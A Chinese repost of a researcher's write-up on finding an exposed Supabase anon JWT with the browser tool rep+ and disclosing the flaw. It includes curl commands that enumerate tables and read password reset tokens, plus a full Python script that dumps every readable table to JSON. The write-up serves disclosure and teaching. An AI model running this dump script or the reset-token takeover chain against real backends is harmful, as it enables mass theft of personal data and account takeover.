rep+如何帮助我发现SupabaseJWT严重暴露漏洞

admin 2026-01-01 05:07:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述利用工具rep+发现Supabase严重配置漏洞的过程。通过扫描前端获取匿名JWT,验证发现后端行级安全策略失效,导致攻击者可遍历数据库表,窃取密码重置令牌与敏感数据,实现账户接管。文章提供了自动化验证脚本与复现步骤,强调了严格配置RLS的重要性及安全工具在提升渗透测试效率中的作用。 综合评分: 85 文章分类: 漏洞分析,渗透测试,实战经验,WEB安全,漏洞POC


cover_image

rep+ 如何帮助我发现 Supabase JWT 严重暴露漏洞

bour.ch

赛博知识驿站

2025年12月31日 16:10 中国香港

要点速览

作者使用自研浏览器安全工具 rep+ 在测试某网站时,意外发现一个严重的 Supabase JWT 泄露漏洞,最终可导致完全账户接管。

漏洞发现过程

  1. 1. 客户端敏感信息检测:使用 rep+ 集成的 Kingfisher 规则扫描 JavaScript 文件,直接在浏览器 DevTools 中发现硬编码的 Supabase 匿名 JWT 令牌
  2. 2. JWT 解码分析:通过 rep+ 内置的 JWT 解码功能,确认这是一个 Supabase anon 令牌(理论上可公开,但需要后端 RLS 保护)
  3. 3. 端点枚举:使用泄露的 JWT 访问 https://[target].supabase.co/rest/v1/ 枚举所有暴露的 REST 端点,发现 34 个可访问的表,包括敏感的 password_reset_tokens 表

关键技术验证

RLS 绕过验证 Payload:

curl -i \
  https://[target].supabase.co/rest/v1/password_reset_tokens?limit=1 \
  -H "apikey: [ANON_KEY]" \
  -H "Authorization: Bearer [JWT_TOKEN]"

成功返回 272 个有效的密码重置令牌,包含 emailtokenexpires_at 等完整信息,确认 Row Level Security (RLS) 配置失效。

自动化批量检测

作者编写 Python 脚本[1] 自动化验证所有表的可读性:

  • • 枚举全部 REST 暴露的表
  • • 分页读取每个表的数据(每页 1000 条)
  • • 导出为 JSON 文件并生成摘要报告

最终发现多个表存在 RLS 失效,包含大量 PII 数据,甚至发现明文密码存储,将风险从单一漏洞升级为系统性授权失败。

安全验证 PoC

通过创建测试账户验证完整攻击链:

  1. 1. 触发密码重置流程
  2. 2. 使用泄露的 JWT 读取 password_reset_tokens 表获取 token
  3. 3. 构造重置链接 https://[target]/reset-password?token=<token> 成功重置密码

rep+ 工具亮点

  • • 零依赖检测:直接在浏览器 DevTools 中完成敏感信息扫描、JWT 解码、请求重放等操作
  • • AI 辅助分析:自动解释请求/响应、标记可疑模式、建议攻击向量
  • • 高效工作流:支持请求拦截、批量重放、响应 diff 对比等功能

根本原因:Supabase 匿名令牌本身设计为公开,但必须配合严格的 Row Level Security (RLS) 策略使用。该案例中开发者未正确配置 RLS,导致匿名用户可直接访问所有敏感表数据。

rep+ 如何帮助我发现 Supabase JWT 泄露的严重漏洞

简介

我在浏览 trustmrr[2] 时发现了这个问题。这是 Marc Lou[3] 创建的网站,用于帮助验证创始人是否诚实披露其月经常性收入(MRR),还是夸大了数字。Marc 还添加了一个功能,允许创始人出售他们的初创公司。

在浏览这些待售列表时,我看到一个网站声称产生 $10k+ MRR,所有者要价 $100k+。出于好奇,我决定仔细看看,测试 rep+ 能否发现什么有趣的东西。


发现目标

最近,我为 rep+[4] 添加了 Kingfisher[5] 支持(特别感谢 Mick Grove[6])。Kingfisher 的密钥检测规则让 rep+[4] 能够高效扫描已加载的 JavaScript 文件,寻找敏感信息。在将拉取请求[7]合并到主分支之前,我在真实场景中测试这个功能,正是这样发现了这个问题。


使用 rep+ 进行测试

rep+[4] 专为渗透测试人员和安全工程师设计,轻量且易用。无需启动笨重的代理工具,只需右键点击、检查元素,就可以直接在浏览器中与请求交互。使用 rep+[4],你可以:

  • • 拦截请求
  • • 逐个转发请求
  • • 转发所有请求
  • • 手动修改请求
  • • 批量重放请求
  • • 对比响应以快速发现行为变化

除此之外,rep+ 还添加了 AI 辅助工作流来加速分析:

  • • 用通俗语言解释请求和响应
  • • 突出显示可疑模式和风险行为
  • • 根据请求/响应上下文建议潜在攻击向量
  • • 无需手动深入分析即可评估影响

这里不会详细介绍所有功能。欢迎访问 GitHub 仓库[4]或在 𝕏[8] 上关注我,了解 rep+ 的更多功能。


客户端密钥检测

我最常用的功能之一是客户端密钥检测。在测试 Kingfisher[7] 集成时,我使用 rep+[4] 扫描所有已加载的 JavaScript 文件,标记可能暴露敏感信息的内容。


JWT 发现

在浏览器中打开网站并启动 rep+[4] 后,立即发现网站的 JavaScript 中直接嵌入了一个 JWT 令牌[9]。

rep+ 标记出 JWT 令牌

从上面的截图可以看到,你可以点击 JavaScript 文件的超链接直接跳转到源文件。或者,你可以使用 rep+[4] 搜索栏,它会在所有请求和响应的 URL、头部和正文中搜索。

rep+ 跨请求和响应搜索

查看 JavaScript 输出后,很明显这个令牌是 Supabase JWT[10]。无需使用任何外部网站或工具,我在 rep+[4] 中高亮显示令牌,然后点击 JWT decode 来检查其内容。

在 rep+ 中高亮显示的 JWT

rep+[4] 立即解码了令牌并内联显示声明内容。

在 rep+ 中解码的 JWT

这个 JWT[9] 是一个 Supabase 匿名(anon)令牌,通常设计为可以公开暴露。此时,我的目标不是利用漏洞,而是验证后端是否正确实施了行级安全(RLS)[11]。


探索 Supabase 端点

使用这个令牌,我首先测试了端点枚举。利用这个 JWT[9],我尝试列出 Supabase[12] 暴露的可用 REST 端点,实际上是在枚举后端向这个令牌开放的表和 RPC 函数。

⚡ curl -s \
&nbsp; https://████████████████.supabase.co/rest/v1/ \
&nbsp; -H "apikey: ████████████████ " \
&nbsp; -H "Authorization: Bearer ████████████████ " | jq -r '.paths | keys[]'

响应返回了一个令人惊讶的大攻击面:

/
/admi███████rs
/a███████rs
/ap███████les
/a███████rs
/a█████s
/co████████ts
/con███████yp██s
/cu███████ains
/f███████
/in███████tions
/l███████es
/l██████s
/mod███████nts
/mo███████ts
/mo█████les
/not███████ries
/n███████ns
/of███████es
/password_reset_tokens
/p█████ns
/pos███████kes
/p███████
/p█████████ct███████_ids
/p███████es
/products
/re███████ypes
/rpc/cl███████d_files
/rpc/cre███████ink_column
/rpc/de███████likes
/rpc/███████st_likes
/rpc/s███████ant_access
/rpc/v███████uct_access
/s███████osts
/su███████eriods
/su███████ons
/syst███████gs
/tr███████ns
/user_███████orts
/user_███████_access
/user███████ge

在这个阶段,仅凭输出结果还不能确认存在漏洞。枚举本身不等于利用。但它立即引发了一个重要问题:

这些表和 RPC 端点是否受到行级安全策略的适当保护?

验证行级安全策略

接下来,重点转向验证 RLS[11] 是否得到一致执行,以及这个匿名令牌是否能访问或操作不应访问的数据。

密码重置令牌

在枚举过程中,password_reset_tokens 表立即引起了我的注意。如果匿名令牌可以读取这个表,就可能被用来接管用户账户。

下一步很简单。我尝试看看这个匿名 JWT[9] 是否有这个表的读取权限。

我使用相同的令牌发送了以下请求:

curl -i \
&nbsp; https://████████████████.supabase.co/rest/v1/password_reset_tokens?limit=1 \
&nbsp; -H "apikey: ████████████████" \
&nbsp; -H "Authorization: Bearer ████████████████"

响应返回了 HTTP 200。

[
&nbsp; {
&nbsp; &nbsp; "id": "3e███2c-6██e-4██5-8██b-f24███4██",
&nbsp; &nbsp; "email": "████████████████@gmail.com",
&nbsp; &nbsp; "token": "███████████████████████████97d5█████5459███7ef7███1",
&nbsp; &nbsp; "created_at": "2025-05-05T18:04:57.013+00:00",
&nbsp; &nbsp; "expires_at": "2025-05-06T18:04:57.013+00:00",
&nbsp; &nbsp; "used": false
&nbsp; }
]

此时,影响已经很明确了。

匿名 Supabase JWT[9] 能够读取密码重置令牌,包括邮箱地址和原始重置令牌本身。有了这些数据,就可以完成密码重置流程并接管用户账户。

这证实了这个表上没有正确实施行级安全策略[11]。

暴露规模

为了了解暴露的规模,我统计了这个令牌可以访问的密码重置令牌数量:

🗂 &nbsp;~/Desktop - ⬢ v22.18.0
⚡ jq ████████████████
272

这个数字足以确认问题的严重性。但它也引发了一个更重要的问题:

这是单个表的孤立故障,还是系统性的授权问题?

逐个手动查询表既不高效,也容易出现人为错误。为了确信地回答这个问题,我决定自动化这个过程。

使用同一个匿名 Supabase JWT,我编写了一个小型 Python 脚本[1]来:

  • • 枚举所有通过 REST 暴露的表
  • • 测试每个表是否可读
  • • 安全地将可读数据导出为 JSON(只读)
export SUPABASE_URL=https://xxxx.supabase.co
export SUPABASE_APIKEY=ANON_KEY
export SUPABASE_JWT=JWT_TOKEN
import&nbsp;requests
import&nbsp;argparse
import&nbsp;os
import&nbsp;json
from&nbsp;typing&nbsp;import&nbsp;List

PAGE_SIZE =&nbsp;1000&nbsp; # 安全,明确

def&nbsp;parse_args():
&nbsp; &nbsp; parser = argparse.ArgumentParser(
&nbsp; &nbsp; &nbsp; &nbsp; description="使用匿名 JWT 枚举和导出可读的 Supabase 表(只读)。"
&nbsp; &nbsp; )
&nbsp; &nbsp; parser.add_argument("--url",&nbsp;help="Supabase 项目 URL (https://xxxx.supabase.co)")
&nbsp; &nbsp; parser.add_argument("--apikey",&nbsp;help="Supabase 匿名 API 密钥")
&nbsp; &nbsp; parser.add_argument("--jwt",&nbsp;help="JWT 令牌 (Bearer)")
&nbsp; &nbsp; parser.add_argument("--out", default="dump",&nbsp;help="输出目录")
&nbsp; &nbsp; parser.add_argument("--page-size",&nbsp;type=int, default=PAGE_SIZE)
&nbsp; &nbsp; return&nbsp;parser.parse_args()

def&nbsp;get_config(args):
&nbsp; &nbsp; url = args.url&nbsp;or&nbsp;os.getenv("SUPABASE_URL")
&nbsp; &nbsp; apikey = args.apikey&nbsp;or&nbsp;os.getenv("SUPABASE_APIKEY")
&nbsp; &nbsp; jwt = args.jwt&nbsp;or&nbsp;os.getenv("SUPABASE_JWT")

&nbsp; &nbsp; if&nbsp;not&nbsp;all([url, apikey, jwt]):
&nbsp; &nbsp; &nbsp; &nbsp; raise&nbsp;SystemExit(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "配置缺失。请提供 --url, --apikey, --jwt "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "或设置 SUPABASE_URL, SUPABASE_APIKEY, SUPABASE_JWT"
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; return&nbsp;url.rstrip("/"), apikey, jwt

def&nbsp;get_paths(base_url, headers) ->&nbsp;List[str]:
&nbsp; &nbsp; r = requests.get(f"{base_url}/rest/v1/", headers=headers, timeout=10)
&nbsp; &nbsp; r.raise_for_status()

&nbsp; &nbsp; return&nbsp;[
&nbsp; &nbsp; &nbsp; &nbsp; p.strip("/")
&nbsp; &nbsp; &nbsp; &nbsp; for&nbsp;p&nbsp;in&nbsp;r.json().get("paths", {}).keys()
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;not&nbsp;p.startswith("/rpc")&nbsp;and&nbsp;p !=&nbsp;"/"
&nbsp; &nbsp; ]

def&nbsp;dump_table(base_url, table, headers, page_size):
&nbsp; &nbsp; all_rows = []
&nbsp; &nbsp; offset =&nbsp;0

&nbsp; &nbsp; while&nbsp;True:
&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{base_url}/rest/v1/{table}?limit={page_size}&offset={offset}"
&nbsp; &nbsp; &nbsp; &nbsp; r = requests.get(url, headers=headers, timeout=10)

&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;r.status_code !=&nbsp;200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;None, r.status_code

&nbsp; &nbsp; &nbsp; &nbsp; chunk = r.json()
&nbsp; &nbsp; &nbsp; &nbsp; all_rows.extend(chunk)

&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;len(chunk) < page_size:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break

&nbsp; &nbsp; &nbsp; &nbsp; offset += page_size

&nbsp; &nbsp; return&nbsp;all_rows,&nbsp;200

def&nbsp;main():
&nbsp; &nbsp; args = parse_args()
&nbsp; &nbsp; base_url, apikey, jwt = get_config(args)

&nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp; "apikey": apikey,
&nbsp; &nbsp; &nbsp; &nbsp; "Authorization":&nbsp;f"Bearer&nbsp;{jwt}",
&nbsp; &nbsp; }

&nbsp; &nbsp; os.makedirs(args.out, exist_ok=True)

&nbsp; &nbsp; print("[*] 枚举暴露的表...")
&nbsp; &nbsp; tables = get_paths(base_url, headers)

&nbsp; &nbsp; print(f"[+] 发现&nbsp;{len(tables)}&nbsp;个表\n")

&nbsp; &nbsp; summary = []

&nbsp; &nbsp; for&nbsp;table&nbsp;in&nbsp;tables:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[*] 导出表:&nbsp;{table}")
&nbsp; &nbsp; &nbsp; &nbsp; rows, status = dump_table(base_url, table, headers, args.page_size)

&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;status ==&nbsp;200&nbsp;and&nbsp;rows&nbsp;is&nbsp;not&nbsp;None:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; path = os.path.join(args.out,&nbsp;f"{table}.json")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; with&nbsp;open(path,&nbsp;"w")&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json.dump(rows, f, indent=2)

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp; &nbsp;[+] 已导出&nbsp;{len(rows)}&nbsp;行 →&nbsp;{path}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; summary.append({
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "table": table,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "readable":&nbsp;True,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "rows":&nbsp;len(rows),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "file": path,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f" &nbsp; &nbsp;[-] 被阻止 (HTTP&nbsp;{status})")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; summary.append({
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "table": table,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "readable":&nbsp;False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "status_code": status,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; })

&nbsp; &nbsp; with&nbsp;open(os.path.join(args.out,&nbsp;"_summary.json"),&nbsp;"w")&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; json.dump(summary, f, indent=2)

&nbsp; &nbsp; print("\n[+] 完成。摘要已写入 dump/_summary.json")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

目标不是利用漏洞,而是验证。我想了解行级安全策略[11]是否在整个后端得到一致执行,还是问题不仅限于密码重置令牌。

运行脚本后,答案很快就清楚了。

🗂 &nbsp;~/Desktop/superbase-exposure-check - ⬢ v22.18.0
⚡ python3 supabase-exposure-check.py
[*] 枚举暴露的表...
[+] 发现 34 个表

[*] 导出表: m█████████s
&nbsp; &nbsp; [+] 已导出 38180 行 → dump/m█████████s.json
[*] 导出表: a██s
&nbsp; &nbsp; [+] 已导出 2168 行 → dump/a██s.json
[*] 导出表: s██e██ed_██sts
&nbsp; &nbsp; [+] 已导出 792 行 → dump/s██e██ed_██sts.json
[*] 导出表: i████tions
&nbsp; &nbsp; [+] 已导出 0 行 → dump/i████tions.json
[*] 导出表: product_██ases
&nbsp; &nbsp; [+] 已导出 9938 行 → dump/product_██ases.json
[*] 导出表: us██_age
&nbsp; &nbsp; [+] 已导出 0 行 → dump/us██_age.json
[*] 导出表: user_████s██_access
...

问题不仅限于单个配置错误的表,使用匿名令牌可以访问多个表。这证实了这是一个系统性的行级安全策略[11]失败,而不是孤立的边缘情况。几个暴露的表包含高度敏感的个人身份信息(PII),包括明文、未哈希的密码,这显著提高了整体风险和影响。

安全的概念验证

下一步是确认我没有想象,这确实有效。为此,我决定使用我创建的受控账户安全地测试这个流程。过程很简单:你需要知道密码重置路径以及在哪里放置令牌。

创建测试账户并请求密码重置后,我获得了重置链接:

https://████████████████/reset-password?token=<token>

这证实了流程按预期工作。令牌在 URL 中,重置页面接受它并允许更改密码。此时,很明显匿名 JWT[9] 有能力访问密码重置令牌并执行本应受限的操作

我本可以继续深入挖掘,进一步扩大影响。凭借可用的访问级别,还有几条其他路径值得探索。

我决定到此为止。

目标从来不是利用漏洞。问题已经清楚、可复现,且足够严重,能够证明完全的账户接管风险。再往下走不会增加有意义的价值。

负责任的披露

我记录了发现,并向网站所有者报告了问题,提供了清晰的复现步骤、影响和修复指导。

这再次提醒我们,即使是设计为公开的令牌,如 Supabase 匿名 JWT[9],当授权控制(如行级安全策略)配置错误时,也可能变得极其危险。


rep+ 的价值所在

这个案例完美展示了为什么像 rep+[4] 这样的工具如此有价值。它让我能够快速检测敏感信息,安全地测试流程,并在不依赖外部工具的情况下理解安全影响。

获取 rep+

如果你有兴趣自己探索 rep+[4],可以:

  • • 安装 Chrome 扩展:rep+ on Chrome Web Store[13]
  • • 查看 GitHub 仓库:https://github.com/repplus/rep

参考资料

  1. 1. Supabase API Keys – anon vs service role[15]
  2. 2. PostgreSQL 文档 – 行级安全[16]
  3. 3. Supabase – 行级安全常见陷阱[17]
  4. 4. 账户接管[18]
  5. 5. supabase-exposure-check – 自动化 RLS 暴露验证脚本[1]

原文:https://bour.ch/how-rep-helped-me-identify-a-critical-supabase-jwt-exposure/

引用链接

[1] Python 脚本: https://github.com/bscript/superbase-exposure-check [2] **trustmrr**: https://trustmrr.com [3] Marc Lou: https://x.com/marclou [4] rep+: https://github.com/repplus/rep/ [5] **Kingfisher**: https://github.com/mongodb/kingfisher/ [6] Mick Grove: https://x.com/micksmix0 [7] 拉取请求: https://github.com/repplus/rep/pull/58 [8] 𝕏: https://x.com/BourAbdelhadi [9] **JWT 令牌**: https://datatracker.ietf.org/doc/html/rfc7519 [10] **Supabase JWT**: https://supabase.com/docs/guides/auth/jwts [11] **行级安全(RLS)**: https://supabase.com/docs/guides/database/postgres/row-level-security [12] Supabase: https://supabase.com/ [13] rep+ on Chrome Web Store: https://chromewebstore.google.com/detail/rep+/dhildnnjbegaggknfkagdpnballiepfm [14] 加入已有的 11 位赞助者: https://github.com/sponsors/bscript [15] Supabase API Keys – anon vs service role: https://supabase.com/docs/guides/api/api-keys [16] PostgreSQL 文档 – 行级安全: https://www.postgresql.org/docs/current/ddl-rowsecurity.html [17] Supabase – 行级安全常见陷阱: https://supabase.com/docs/guides/database/postgres/row-level-security#common-pitfalls [18] 账户接管: https://www.cloudflare.com/learning/access-management/account-takeover


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 bour.ch《rep+ 如何帮助我发现 Supabase JWT 严重暴露漏洞》

评论:0   参与:  0